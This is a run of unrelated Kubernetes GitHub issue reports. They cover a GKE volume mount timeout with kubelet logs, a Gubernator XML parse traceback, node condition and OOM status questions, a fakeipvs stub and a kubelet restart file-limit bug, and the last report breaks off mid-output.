volume populated by a secret      secretname: default-token-i0lox qos tier:       burstable events:   firstseen     lastseen        count   from                                            subobjectpath   type reason          message   ---------     --------        -----   ----                                            -------------   -------- ------          -------   30m           30m             1       {default-scheduler }                                        normal scheduled       successfully assigned mongo-rc2-aktox to gke-fatih-small-pool-59881027-h46g   28m           1m              13      {kubelet gke-fatih-small-pool-59881027-h46g}                warning failedmount     unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf    28m           1m              13      {kubelet gke-fatih-small-pool-59881027-h46g}                warning failedsync      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf         anything else do we need to know  :  relevant  /var/log/kubelet.log  in the node:      ceefour@gke-fatih-small-pool-59881027-h46g:~$ tail -n100 /var/log/kubelet.log  | grep mongo-conf  e0822 22:30:30.157423    3439 kubelet.go:1932  unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf ; skipping pod e0822 22:30:30.157465    3439 pod_workers.go:183  error syncing pod 06ce97cd-68b4-11e6-b129-42010af0011e, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf  i0822 22:31:05.117374    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:31:05.120603    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:33:05.120584643 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status. e0822 22:32:45.156181    3439 kubelet.go:1932  unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf ; skipping pod e0822 22:32:45.156226    3439 pod_workers.go:183  error syncing pod 06ce97cd-68b4-11e6-b129-42010af0011e, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf  i0822 22:33:05.156100    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:33:05.159285    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:35:05.159269631 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status. e0822 22:34:58.157744    3439 kubelet.go:1932  unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf ; skipping pod e0822 22:34:58.161069    3439 pod_workers.go:183  error syncing pod 06ce97cd-68b4-11e6-b129-42010af0011e, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf  i0822 22:35:05.188747    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:35:05.191576    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:37:05.191557765 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status.       /var/log/kubelet.log  for 50 last lines:      ceefour@gke-fatih-small-pool-59881027-h46g:~$ tail -n50 /var/log/kubelet.log i0822 22:35:22.870417    3439 server.go:959  get /healthz:  28.36µs  200   curl/7.26.0  127.0.0.1:47687  i0822 22:35:32.239049    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   to pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:35:32.242781    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . i0822 22:35:32.883593    3439 server.go:959  get /healthz:  42.657µs  200   curl/7.26.0  127.0.0.1:47694  i0822 22:35:38.160222    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:35:38.163717    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . i0822 22:35:38.537711    3439 server.go:959  get /healthz:  44.537µs  200   go-http-client/1.1  127.0.0.1:47701  i0822 22:35:39.660496    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:35:42.896284    3439 server.go:959  get /healthz:  38.658µs  200   curl/7.26.0  127.0.0.1:47705  i0822 22:35:52.910178    3439 server.go:959  get /healthz:  25.065µs  200   curl/7.26.0  127.0.0.1:47712  i0822 22:36:02.922869    3439 server.go:959  get /healthz:  24.963µs  200   curl/7.26.0  127.0.0.1:47717  i0822 22:36:05.013580    3439 server.go:959  get /stats/summary/:  6.953162ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:36:12.935348    3439 server.go:959  get /healthz:  27.682µs  200   curl/7.26.0  127.0.0.1:47724  i0822 22:36:22.948215    3439 server.go:959  get /healthz:  28.114µs  200   curl/7.26.0  127.0.0.1:47731  i0822 22:36:32.961851    3439 server.go:959  get /healthz:  44.817µs  200   curl/7.26.0  127.0.0.1:47738  i0822 22:36:38.537762    3439 server.go:959  get /healthz:  47.175µs  200   go-http-client/1.1  127.0.0.1:47743  i0822 22:36:39.176725    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:36:39.189075    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . i0822 22:36:39.663850    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:36:42.974584    3439 server.go:959  get /healthz:  40.231µs  200   curl/7.26.0  127.0.0.1:47746  i0822 22:36:43.184638    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   to pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:36:43.187674    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . i0822 22:36:52.988636    3439 server.go:959  get /healthz:  40.953µs  200   curl/7.26.0  127.0.0.1:47754  i0822 22:37:03.003414    3439 server.go:959  get /healthz:  42.733µs  200   curl/7.26.0  127.0.0.1:47759  i0822 22:37:05.034193    3439 server.go:959  get /stats/summary/:  6.947947ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:37:05.233719    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:37:05.236650    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:39:05.23662061 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status. e0822 22:37:09.156182    3439 kubelet.go:1932  unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf ; skipping pod e0822 22:37:09.156242    3439 pod_workers.go:183  error syncing pod 06ce97cd-68b4-11e6-b129-42010af0011e, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf  i0822 22:37:13.015933    3439 server.go:959  get /healthz:  54.514µs  200   curl/7.26.0  127.0.0.1:47768  i0822 22:37:23.028881    3439 server.go:959  get /healthz:  43.187µs  200   curl/7.26.0  127.0.0.1:47775  i0822 22:37:23.185043    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/06ce97cd-68b4-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:37:23.188665    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/06ce97cd-68b4-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\  . i0822 22:37:33.042085    3439 server.go:959  get /healthz:  42.351µs  200   curl/7.26.0  127.0.0.1:47784  i0822 22:37:38.537583    3439 server.go:959  get /healthz:  40.577µs  200   go-http-client/1.1  127.0.0.1:47789  i0822 22:37:39.667127    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:37:43.055076    3439 server.go:959  get /healthz:  26.24µs  200   curl/7.26.0  127.0.0.1:47792  i0822 22:37:53.067791    3439 server.go:959  get /healthz:  26.387µs  200   curl/7.26.0  127.0.0.1:47800  i0822 22:38:03.089970    3439 server.go:959  get /healthz:  38.445µs  200   curl/7.26.0  127.0.0.1:47805  i0822 22:38:05.013454    3439 server.go:959  get /stats/summary/:  7.716171ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:38:06.174617    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:38:06.177284    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . i0822 22:38:11.184431    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   to pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:38:11.187573    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . i0822 22:38:13.101813    3439 server.go:959  get /healthz:  35.796µs  200   curl/7.26.0  127.0.0.1:47814  i0822 22:38:23.122472    3439 server.go:959  get /healthz:  36.311µs  200   curl/7.26.0  127.0.0.1:47821  i0822 22:38:33.136366    3439 server.go:959  get /healthz:  40.312µs  200   curl/7.26.0  127.0.0.1:47828  i0822 22:38:38.537838    3439 server.go:959  get /healthz:  44.226µs  200   go-http-client/1.1  127.0.0.1:47833  i0822 22:38:39.670329    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:38:43.157960    3439 server.go:959  get /healthz:  34.945µs  200   curl/7.26.0  127.0.0.1:47836  ceefour@gke-fatih-small-pool-59881027-h46g:~$ ceefour@gke-fatih-small-pool-59881027-h46g:~$ tail -n50 /var/log/kubelet.log i0822 22:35:38.537711    3439 server.go:959  get /healthz:  44.537µs  200   go-http-client/1.1  127.0.0.1:47701  i0822 22:35:39.660496    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:35:42.896284    3439 server.go:959  get /healthz:  38.658µs  200   curl/7.26.0  127.0.0.1:47705  i0822 22:35:52.910178    3439 server.go:959  get /healthz:  25.065µs  200   curl/7.26.0  127.0.0.1:47712  i0822 22:36:02.922869    3439 server.go:959  get /healthz:  24.963µs  200   curl/7.26.0  127.0.0.1:47717  i0822 22:36:05.013580    3439 server.go:959  get /stats/summary/:  6.953162ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:36:12.935348    3439 server.go:959  get /healthz:  27.682µs  200   curl/7.26.0  127.0.0.1:47724  i0822 22:36:22.948215    3439 server.go:959  get /healthz:  28.114µs  200   curl/7.26.0  127.0.0.1:47731  i0822 22:36:32.961851    3439 server.go:959  get /healthz:  44.817µs  200   curl/7.26.0  127.0.0.1:47738  i0822 22:36:38.537762    3439 server.go:959  get /healthz:  47.175µs  200   go-http-client/1.1  127.0.0.1:47743  i0822 22:36:39.176725    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:36:39.189075    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . i0822 22:36:39.663850    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:36:42.974584    3439 server.go:959  get /healthz:  40.231µs  200   curl/7.26.0  127.0.0.1:47746  i0822 22:36:43.184638    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   to pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:36:43.187674    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . i0822 22:36:52.988636    3439 server.go:959  get /healthz:  40.953µs  200   curl/7.26.0  127.0.0.1:47754  i0822 22:37:03.003414    3439 server.go:959  get /healthz:  42.733µs  200   curl/7.26.0  127.0.0.1:47759  i0822 22:37:05.034193    3439 server.go:959  get /stats/summary/:  6.947947ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:37:05.233719    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:37:05.236650    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:39:05.23662061 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status. e0822 22:37:09.156182    3439 kubelet.go:1932  unable to mount volumes for pod \ mongo-rc2-aktox_default 06ce97cd-68b4-11e6-b129-42010af0011e \ : timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf ; skipping pod e0822 22:37:09.156242    3439 pod_workers.go:183  error syncing pod 06ce97cd-68b4-11e6-b129-42010af0011e, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongo-rc2-aktox\ /\ default\ . list of unattached/unmounted volumes= mongo-conf  i0822 22:37:13.015933    3439 server.go:959  get /healthz:  54.514µs  200   curl/7.26.0  127.0.0.1:47768  i0822 22:37:23.028881    3439 server.go:959  get /healthz:  43.187µs  200   curl/7.26.0  127.0.0.1:47775  i0822 22:37:23.185043    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/06ce97cd-68b4-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:37:23.188665    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/06ce97cd-68b4-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\  . i0822 22:37:33.042085    3439 server.go:959  get /healthz:  42.351µs  200   curl/7.26.0  127.0.0.1:47784  i0822 22:37:38.537583    3439 server.go:959  get /healthz:  40.577µs  200   go-http-client/1.1  127.0.0.1:47789  i0822 22:37:39.667127    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:37:43.055076    3439 server.go:959  get /healthz:  26.24µs  200   curl/7.26.0  127.0.0.1:47792  i0822 22:37:53.067791    3439 server.go:959  get /healthz:  26.387µs  200   curl/7.26.0  127.0.0.1:47800  i0822 22:38:03.089970    3439 server.go:959  get /healthz:  38.445µs  200   curl/7.26.0  127.0.0.1:47805  i0822 22:38:05.013454    3439 server.go:959  get /stats/summary/:  7.716171ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:38:06.174617    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   to pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:38:06.177284    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ad21d245-689f-11e6-b129-42010af0011e-default-token-i0lox\   spec.name: \ default-token-i0lox\   pod \ ad21d245-689f-11e6-b129-42010af0011e\   uid: \ ad21d245-689f-11e6-b129-42010af0011e\  . i0822 22:38:11.184431    3439 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   to pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . volume is already mounted to pod, but remount was requested. i0822 22:38:11.187573    3439 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/33f45369-687d-11e6-b129-42010af0011e-default-token-sb5ix\   spec.name: \ default-token-sb5ix\   pod \ 33f45369-687d-11e6-b129-42010af0011e\   uid: \ 33f45369-687d-11e6-b129-42010af0011e\  . i0822 22:38:13.101813    3439 server.go:959  get /healthz:  35.796µs  200   curl/7.26.0  127.0.0.1:47814  i0822 22:38:23.122472    3439 server.go:959  get /healthz:  36.311µs  200   curl/7.26.0  127.0.0.1:47821  i0822 22:38:33.136366    3439 server.go:959  get /healthz:  40.312µs  200   curl/7.26.0  127.0.0.1:47828  i0822 22:38:38.537838    3439 server.go:959  get /healthz:  44.226µs  200   go-http-client/1.1  127.0.0.1:47833  i0822 22:38:39.670329    3439 container_manager_linux.go:614  found 45 pids in root, 45 of them are not to be moved i0822 22:38:43.157960    3439 server.go:959  get /healthz:  34.945µs  200   curl/7.26.0  127.0.0.1:47836  i0822 22:38:53.169820    3439 server.go:959  get /healthz:  25µs  200   curl/7.26.0  127.0.0.1:47843  i0822 22:39:03.181619    3439 server.go:959  get /healthz:  29.069µs  200   curl/7.26.0  127.0.0.1:47849  i0822 22:39:05.018297    3439 server.go:959  get /stats/summary/:  6.900965ms  200   go-http-client/1.1  10.60.2.3:57402  i0822 22:39:05.318114    3439 reconciler.go:180  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   e0822 22:39:05.321046    3439 nestedpendingoperations.go:233  operation for \ \\\ kubernetes.io/gce-pd/mongo-conf\\\ \  failed. no retries permitted until 2016-08-22 22:41:05.321027505 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/gce-pd/mongo-conf\   spec.name: \ mongo-conf\   pod \ 06ce97cd-68b4-11e6-b129-42010af0011e\   uid: \ 06ce97cd-68b4-11e6-b129-42010af0011e\   is not yet attached according to node status. i0822 22:39:13.194669    3439 server.go:959  get /healthz:  26.614µs  200   curl/7.26.0  127.0.0.1:47856

jenken bazel build keeps failing after three tries while building https://github.com/kubernetes/kubernetes/pull/38924 - see following link: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/38924/pull-kubernetes-bazel/5627/\r \r    \r traceback  most recent call last :\r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 1535, in __call__\r     rv = self.handle_exception request, response, e \r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 1529, in __call__\r     rv = self.router.dispatch request, response \r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 1278, in default_dispatcher\r     return route.handler_adapter request, response \r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 1102, in __call__\r     return handler.dispatch  \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/view_base.py\ , line 81, in dispatch\r     webapp2.requesthandler.dispatch self \r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 572, in dispatch\r     return self.handle_exception e, self.app.debug \r   file \ /base/data/home/runtimes/python27_experiment/python27_lib/versions/third_party/webapp2-2.5.2/webapp2.py\ , line 570, in dispatch\r     return method  args,   kwargs \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/view_build.py\ , line 132, in get\r     details = build_details build_dir \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/view_base.py\ , line 128, in wrapped\r     data = func  args \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/view_build.py\ , line 109, in build_details\r     failures.extend parse_junit junit, junit_futures future   \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/view_build.py\ , line 33, in parse_junit\r     tree = et.fromstring xml \r   file \ /base/data/home/apps/s~k8s-gubernator/1.398728629607611537/third_party/defusedxml/common.py\ , line 159, in fromstring\r     parser.feed text \r   file \ /base/data/home/runtimes/python27_experiment/python27_dist/lib/python2.7/xml/etree/elementtree.py\ , line 1642, in feed\r     self._raiseerror v \r   file \ /base/data/home/runtimes/python27_experiment/python27_dist/lib/python2.7/xml/etree/elementtree.py\ , line 1506, in _raiseerror\r     raise err\r parseerror: not well-formed  invalid token : line 57, column 125\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r if node is unreachable, nodecontroller only set  v1.nodeoutofdisk ,  v1.nodememorypressure ,  v1.nodediskpressure  to unknown; it's better to also set networkunavailable & inodepressure to unknown.\r

kubernetes 1.4.2\r \r mi-pc-web-1747399227-lrfzf   0/1       outofmemory   0          20h       <none>    slave-141\r \r what status outofmemory?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r currently, the updatevirtualserver   of fakeipvs is an empty implementation. however, ipvs/proxier needs it, see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l1288\r \r it will case an error if we want to add some relevant test cases in ipvs/proxier_test.go.\r \r   what you expected to happen  :\r \r we should implment updatevirtualserver   for fakeipvs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r  /area kube-proxy

bug report\r \r \r   what happened  :\r i try to ping a service in the same namespace.\r ping is not working but http works fine.\r \r   what you expected to happen  :\r ping should answer.\r \r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: standalone\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-104-generic  127-ubuntu smp mon dec 11 12:16:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r after restart kubelet many times, kubelet failed to restart successfully due to 'failed to start cadvisor inotify_init: too many open files'\r \r   what you expected to happen  :\r kubelet restart success\r \r   how to reproduce it  as minimally and precisely as possible   :\r for i in {1..1000}; do systemctl restart kubelet; done\r \r   anything else we need to know?  :\r a lot of 'journalctl -k -f' left in kubelet after many restarts\r      systemctl status kubelet\r ● kubelet.service - kubernetes kubelet server\r    loaded: loaded  /usr/lib/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since wed 2018-01-03 17:52:46 gmt; 5min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r   process: 162259 execstartpre=/usr/bin/systemctl is-active docker  code=exited, status=0/success \r  main pid: 162261  hyperkube \r    memory: 149.2m\r    cgroup: /system.slice/kubelet.service\r            ├─   438 journalctl -k -f\r            ├─  